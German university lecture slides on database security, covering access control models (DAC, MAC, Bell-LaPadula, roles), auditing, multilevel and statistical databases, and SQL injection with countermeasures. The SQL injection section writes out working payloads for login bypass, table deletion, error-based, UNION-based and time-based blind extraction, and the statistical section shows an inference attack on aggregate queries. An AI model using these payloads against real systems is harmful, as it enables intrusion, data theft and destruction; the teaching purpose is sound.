Sicherheitsaspekte

Werbung
Sicherheitsaspekte
Ziele
• Vertraulichkeit/Datensicherheit:
• Kein unauthorisierten Zugriff auf Systemressourcen und Daten zulassen
• Z.B. Ein Angestellte muss das Gehalt anderen Angestellten nicht sehen.
• Integrität:
• Nur authorisierte Benutzer dürfen die Daten ändern
• Z.B. Nur Professoren dürfen Noten ändern.
• Verfügbarkeit:
• Die Daten sollen für authorisierte Benutzer immer verfügbar sein
• Z.B. Der Student muss seine Noten sehen können.
Grundbegriffe
• Zugriffskontrolle (access control) regelt: wer darf in einem System auf
welche Ressourcen wie zugreifen.
• Technische Maßnahme zum Schutz der Daten vor Missbrauch
• Sicherheitsmodelle (Security Models) legen die Mechanismen zur
Wahrung und Schutzes von Daten fest
• Subjekt: Initiator der Handlung, Benutzer
• Objekt: Ressource (Dateien, Tabelen, usw.)
• Subjekte können auch Objekte sein
• Berechtigung (permission), bzw. Zugriffsrecht (access right):
• Was genau darf gemacht werden
Sicherheitsmodelle und Architekturen
• Zwei Klassen von Sicherheitsmodellen:
• Zugriffskontrollstrategie
• Informationsfluss-Strategie
• In der Praxis findet man überwiegend Zugriffskontrollstrategien
• Zugriffskontrollstrategien lassen sich wiederum unterscheiden nach:
• Benutzerbestimmbare (Diskrete Sicherheitsmodelle/ Discretionary access control)
• Systembestimmbare (Verbindliche Sicherheitsmodelle/ Mandatory Access Control)
• Rollenbasierte Sicherheitsmodelle
1. Diskrete Sicherheitsmodelle /
Discretionary access control (DAC)
• Regeln den Zugriff auf Objekte (Tabellen und Sichten) auf der Basis der
Identität der Nutzer und Zugriffsrechten
• Zugriffsrechten legen für jeden Nutzer fest, auf welche Objekte er in
welchem Modus zugreifen darf
• Die Anzahl der Zugriffsrechte eines Benutzers ist variabel:
• Es können zusätzliche Rechte hinzukommen
• Vorhandene Rechte können zurückgenommen werden
• Durch die individuelle Vergabe von Rechten ist diese Modell sehr flexibel
1. Diskrete Sicherheitsmodelle /
Discretionary access control (DAC)
• Der Benutzer, der eine Tabelle oder ein Sicht erstellt hat, kriegt
automatisch alle Zugriffsrechte dafür
• DBMS verwaltet alle Zugriffsrechte und deren Änderungen (wenn neue
dazukommen oder vorhandene zurückgenommen werden) und
garantiert dass nur Benutzer die entsprechende Rechte besitzen Zugriff
auf einen Objekt haben
GRANT Anweisung
GRANT privileges ON object TO users [WITH GRANT OPTION]
• Mögliche Werte für privileges:
• SELECT: darf alle Spalten lesen (inklusiv Spalten die später mit ALTER TABLE
eingefügt werden)
• INSERT(col-name): darf Tupeln mit Werten, die verschieden von NULL
oder default sind, für die entsprechende Spalte
• Ohne col-name → für alle Spalten
• UPDATE(col-name): darf den Wert der entsprechenden Spalten für Tupeln
ändern (mit einem Wert, der verschieden von NULL oder default ist)
• DELETE: darf Tupeln löschen
• REFERENCES(col-name): darf in anderen Tabellen FremdschlüsselEinschränkung erstellen, die auf die betreffende Tabelle verweist
GRANT Anweisung (Forts.)
GRANT privileges ON object TO users [WITH GRANT OPTION]
• GRANT OPTION gibt an, dass der Empfänger die angegebene
Berechtigung auch anderen Benutzern erteilen kann
GRANT Anweisung - Beispiel
GRANT INSERT,SELECT ON Studenten TO Emma
• Emma darf Studenten selektieren und einfügen
GRANT DELETE ON Studenten TO Viktor WITH GRANT OPTION
• Viktor darf Tupeln aus der Tabelle Studenten löschen und kann auch
anderen Benutzer den Recht geben Tupeln zu löschen
GRANT UPDATE (Note) ON Studenten TO Jan
• Jan darf (nur) die Spalte Noten in der Tabelle Studenten ändern
GRANT und REVOKE von Berechtigungen
GRANT SELECT ON AktiveStudenten TO Jan, Anna
• Jan und Anna können Tupeln aus dem Sicht AktiveStudenten
selektieren, aber nicht direkt aus der Tabelle Studenten
• REVOKE: wenn eine Berechtigung von einem Benutzer X
aufgehoben wird, dann wird diese auch von allen Benutzern
aufgehoben, welche die Berechtigung nur von X bekommen haben
(basierend auf einem Authorization Graph: Knoten sind Benutzer,
Kanten zeigen wie die Berechtigungen erteilt wurden)
GRANT/REVOKE auf Sichten
• Wenn der Benutzer, der die Sicht erstellt hat, die SELECT Berechtigung
auf die zugrunde liegende Tabelle verliert, dann wird die Sicht
gelöscht (dropped)
• Wenn der Benutzer, der eine Sicht erstellt hat, eine Berechtigung mit
GRANT OPTION auf die zugrunde liegende Tabelle verliert, dann
verliert er die betreffende Berechtigung auch für die Sicht;
(auch die Benutzer welche die Berechtigung von ihm bekommen
haben verlieren diese Berechtigung für die Sicht)
Sicherheit - Sichten
• Sichten können benutzt werden um (Teil der) Informationen
vorzulegen, während die zugrunde liegende Tabelle Details versteckt
• z.B. In der Sicht AktiveStudenten kann man Studenten finden, die in
einer Vorlesung angemeldet sind, aber die Id’s der Vorlesung sind nicht
vorhanden
• Der Benutzer, der die Sicht erstellt, hat dieselbe Berechtigungen auf
die Sicht wie auf die zugrunde liegende Tabelle
• Sichten zusammen mit GRANT/REVOKE Anweisungen bilden ein
starkes Tool für Zugriffskontrolle
2. Verbindliche Sicherheitsmodelle /
Mandatory Access Control (MAC)
• Wurde ursprünglich für den militärischen Bereich entwickelt (clearance)
• Basierend auf system-weite Regeln, die nicht individuell für einen Benutzer
geändert werden können:
• Objekte werden sogenannten Sicherheitsklassen zugeordnet
• Es wird bestimmten Nutzerklassen Zugriff zu bestimmten Sicherheitsklassen gewährt
• Ein Nutzer dar ein Objekt lesen/schreiben, wenn die Sicherheitsklasse des Nutzers
gleich oder höher prioritisiert ist als die des Objektes
• Meisten kommerziellen DBMSs unterstützen verbindliche
Sicherheitsmodelle nicht → diese sind sehr starr und haben eine
eingeschränkte Brauchbarkeit
Bell-LaPadula Model (BLP)
• Bekanntes Beispiel für Mandatory Access Control
• Das Modell verwendet Subjekte (Benutzer, Anwendungen), Objekte (Tabellen,
Sichten, Tupeln), Zugriffsoperationen und Sicherheitsebenen
• Sicherheitsklassen:
• öffentlich/unclassified (U), vertraulich/confidential (C), geheim/secret (S), streng geheim/top
secret (TS)
U < C < S < TS
• Zwei Hauptregeln:
• Einfache Regel (simple security rule): ein Subjekt kann keine Daten auf einer höheren
Sicherheitsebene lesen (no-read-up)
• D.h. S liest O wenn Sicherheitsebene(S) ≥ Sicherheitsebene(O)
• Sternregel (security rule): Ein Subjekt kann keine Informationen auf eine niedrigere
Sicherheitsebene schreiben (no-write-down)
• D.h. S schreibt O wenn Sicherheitsebene(S) ≤ Sicherheitsebene(O)
→ Beschränkung des Informationsflusses
Motivation
• Warum den Informationsfluss beschränken?
• No-read-up Regel reicht nichr: Trojanische Pferde können höher
klassifizierte Daten einfach nach unten schreiben
• Beispiel:
• Mark erstellt eine Tabelle T und gibt Tom den INSERT Zugriffsrecht darauf
• Mark ändert eine Anwendung, die von Tom benutzt wird, sodass diese
geheime Daten in die Tabelle T schreibt
• Jetzt hat Mark Zugriff zu den geheimen Daten
• No-write-down Regel vermeidet dieses Problem
3. Rollenmodell
• In SQL-92 werden Rechte an Ids weitergegeben, die ein Benutzer
oder einer Gruppe von Benutzer bestimmt
• Seit SQL:1999 können Rollen definiert und Rechte an Rollen
weitergegeben werden
• Erleichtert die Verwaltung von Rechten beim Wechsel von Personen,
z.B. in einem Unternehmen
• Wenn eine Person mehreren Rollen hat, dann besitzt sie die
Vereinigung der Rechten aller Rollen
Auditing
• Neben der Vergabe geeigneter Zugriffsberechtigungen, eine andere
wichtige Maßnahme ist die Überwachung von Zugriffen bzw.
Änderungen
• Die notwendigen Protokollieren von Zugriffen wird als Auditing
bezeichnet
• Änderungen, die protokolliert werden müssen:
•
•
•
•
Anlegen von Nutzern
Vergabe von Rechten
Schemaänderungen
Manipulation der Daten
Multilevel-Datenbanken
• Benutzer soll sich der Existenz unzugänglicher Daten nicht bewusst
sein
Id
Produkt
Preis
Klasse
101
Gold
50000
S
• Beispiel:
102
•
•
•
•
Auto
2000
C
Benutzer mit den Sicherheitsebenen S und TS sehen beide Tupeln
Benutzer mit der Sicherheitsebene C sehen nur den zweiten Tupel
Benutzer mit der Sicherheitsebene U sehen keine Tupeln
Wenn ein Benutzer der Klasse C den Tupel <101,Schrank,200,C> einfügen will:
• Der Tupel kann wegen dem Primärschlüssel-Integritätsregel nicht eingefügt werden
• Wenn die Einfüge-Operation verweigert wird, dann weiß der Benutzer, dass es ein
geheimer Tupel gibt mit dem Id 101
Multilevel-Datenbanken (Forts.)
• Lösung: durch Polyinstanziierung
• man stellt sich vor, dass die Sicherheitsebene zu dem Primärschlüssel gehört
• Ein Id darf mehrfach mit unterschiedlichen Sicherheitseinstufungen
vorkommen
• Eindeutigkeit des Schlüssels und Referentielle Integrität müssen hier erweitert
werden
Statistische Datenbanken
• Sind Datenbanken, in denen Einzeleinträge dem Datenschutz
unterliegen, aber statistische Informationen allen Benutzern zugänglich
sind
• Statistische Informationen = aggregiert Werte, z.B. Durchschnitt
• Probleme der Zugriffsüberwachung: ein Benutzer kann indirekt Daten
über Einzeleinträge gewinnen, indem er die Kriterien derart einschränkt,
dass nur ein Einzeleintrag betrachtet wird
• Beispiel: Wenn ich weiß, dass Johann der älteste Angestellte ist, dann
kann ich fragen „Wie viele Angestellten sind älter als X?“.
• Der Wert für X kann dann inkrementiert werden bis der Antwort der Abfrage 1 ist
→ dann weiß ich wie alt Johann ist
Statistische Datenbanken (Forts.)
• Idee: es sollten keine statistische Anfrage erlaubt werden, wenn weniger
als N Tupel im Ergebnis der Selektion liegen
• Genügt diese Einschränkung? → NEIN!
• Beispiel:
• Man fragt: „Wie viele Personen sind älter als X?“
• Wenn das System die Abfrage ablehnt, dann kennt man eine Menge von N Personen
inklusiv Johann, die älter als eine X sind
• Nächste Anfrage: „Welche ist die Summe der Alter der Personen, die älter als X
sind?“ Sei das Ergebnis S1.
• Nächste Anfrage: „Welche ist die Summe der Alter der Personen außer Johann, die
älter als X sind? Sei das Ergebnis S2.
• → das Alter von Johann ist S2-S1
SQL Injection
• Bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang
mit SQL-Datenbanken, die durch mangelnde Maskierung oder
Überprüfung von Metazeichen in Benutzereingaben entsteht
• Es ist eine Subklasse der Vulnerabilitäten, wo eine
Programmiersprache oder Skriptsprache in einer anderen eingebettet
(embedded) ist
SQL Injection - Beispiel
Statement = “SELECT * FROM users WHERE name = ‘” + username + “’;”;
• Wenn die Variable username, die von dem Benutzer angegeben wird, in eine bestimmte Weise
abgeändert wird, kann die SQL-Anweisung Schaden anrichten:
username = ‘ OR ‘1’=‘1
⇒
SELECT * FROM users WHERE name = ‘’ OR ‘1’=‘1’;
• Damit loggen wir uns als Admin ein, haben alle Rechte und können anstellen was wir wollen
• Oder:
username = ‘; DROP TABLE users; SELECT * FROM userinfo WHERE ‘t’=‘t
⇒ SELECT * FROM users WHERE name = ‘’; DROP TABLE users; SELECT *
FROM userinfo WHERE ‘t’=‘t’;
• Diese Eingabe hat die users Tabelle gelöscht und alle Daten der Tabelle userinfo ausgelesen
(wenn eine API genutzt wird, die mehrere Statements erlaubt)
SQL Injection Klassifikation
• Inbound
• Derselbe Kanal wo die SQL Injection stattfindet, wird dann benutzt um Daten
zu extrahieren
• Outbound
• Daten werden auf einem unterscheidlichen Kanal extrahiert (z.B. ein Email
mit Anfrageergebnisse wird geschickt)
• Inferentiell (inferential)
• Es findet kein Datentransfer statt
• Der Angreifer kann Informationen rekronstruieren indem er bestimmte
Requests schickt und das Verhalten der Website/DB Server beobachtet
Typen von SQL Injection
• Error-basiertes
• Man schickt Anfragen die ein Fehler verursachen und man beobachtet die
Fehlerangabe → man kann Informationen über den Server ableiten
• Union-basiertes
• Man kann SQL UNION benutzen um die Ergebnisse mehrere SQL Anfragen zu
vereinigen (sehr hilfreich für SQL Injection)
• Blind:
• Man stellt true/false Fragen an den DB Server und man beobachtet ob eine
gültige Website zurückgegeben wurde oder nicht, und wie lange es gedauert
hat
Error-basiertes SQL Injection
http://[site]/page.asp?id=1 or 1=convert(int,(USER))—
• Syntax error converting the nvarcharvalue '[joe]' to a column of data
type !
• Nützlich bei SQL Injection Anfragen:
•
•
•
•
USER – Datenbankbenutzer
DB_NAME – Name der Datenbank
@@servername – Name des Servers
@@version – Version von Windows/OS
Union-basiertes SQL Injection
http://[site]/page.asp?id=1 UNION SELECT ALL 1-• All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2-• All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists.
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3-• All queries in an SQL statement containing a UNION operator must have an equal number of
expressions in their target lists
http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4-• NO ERROR
http://[site]/page.asp?id=null UNION SELECT ALL 1,USER,3,4--
Blindes SQL Injection
http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-• Gültige Website wird nach einer 10 Sekunden Verzögerung zurückgegeben
Blindes SQL Injection - Erstes Charakter D
http://[site]/page.asp?id=1; IF (ASCII( lower( substring( (USER),1,1)))>97) WAITFOR
DELAY '00:00:10‘-• Gültige Website wird nach einer 10 Sekunden Verzögerung zurückgegeben
http://[site]/page.asp?id=1; IF (ASCII( lower( substring((USER),1,1)))=98) WAITFOR DELAY
'00:00:10'-• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (ASCII( lower( substring((USER),1,1)))=99) WAITFOR DELAY
'00:00:10'—
• Gültige Website wird sofort zurückgegeben
http://[site]/page.asp?id=1; IF (ASCII( lower( substring((USER),1,1)))=100) WAITFOR
DELAY '00:00:10'• Gültige Website wird nach einer 10 Sekunden Verzögerung zurückgegeben
SQL Injection - Gegenmaßnahmen
• Metazeichen in Benutzereingaben auszufiltern oder zu
maskieren (Escapen)
• Am sichersten: Daten vom SQL-Interpreter fernzuhalten →
gebundene Parameter in Prepared Statements verwenden
• Hierbei warden die Daten als Paramter an einen bereits
kompilierten Befehl übergegeben
• Die Daten warden somit nicht interpretiert und eine SQLInjection ist verhindert
Zusammenfassung
• Drei wichtige Ziele:
• Vertraulichkeit/Datensicherheit
• Integrität
• Verfügbarkeit
• DB Admin ist für die allgemeine Sicherheit verantwortlich
• Auditing: Überwachung von Zugriffen bzw. Änderungen
• Zugriffskontrollstrategien :
• Diskrete Sicherheitsmodelle/ Discretionary access control
• Verbindliche Sicherheitsmodelle/ Mandatory Access Control
• Rollenbasierte Sicherheitsmodelle
• Statistische Datenbanken veruschen individuelle Daten zu schützen indem nur
Aggregatanfagen erlaubt sind, aber oft können individuelle Informationen über
Tupeln abgeleitet warden
• SQL Injection vermeiden!
Herunterladen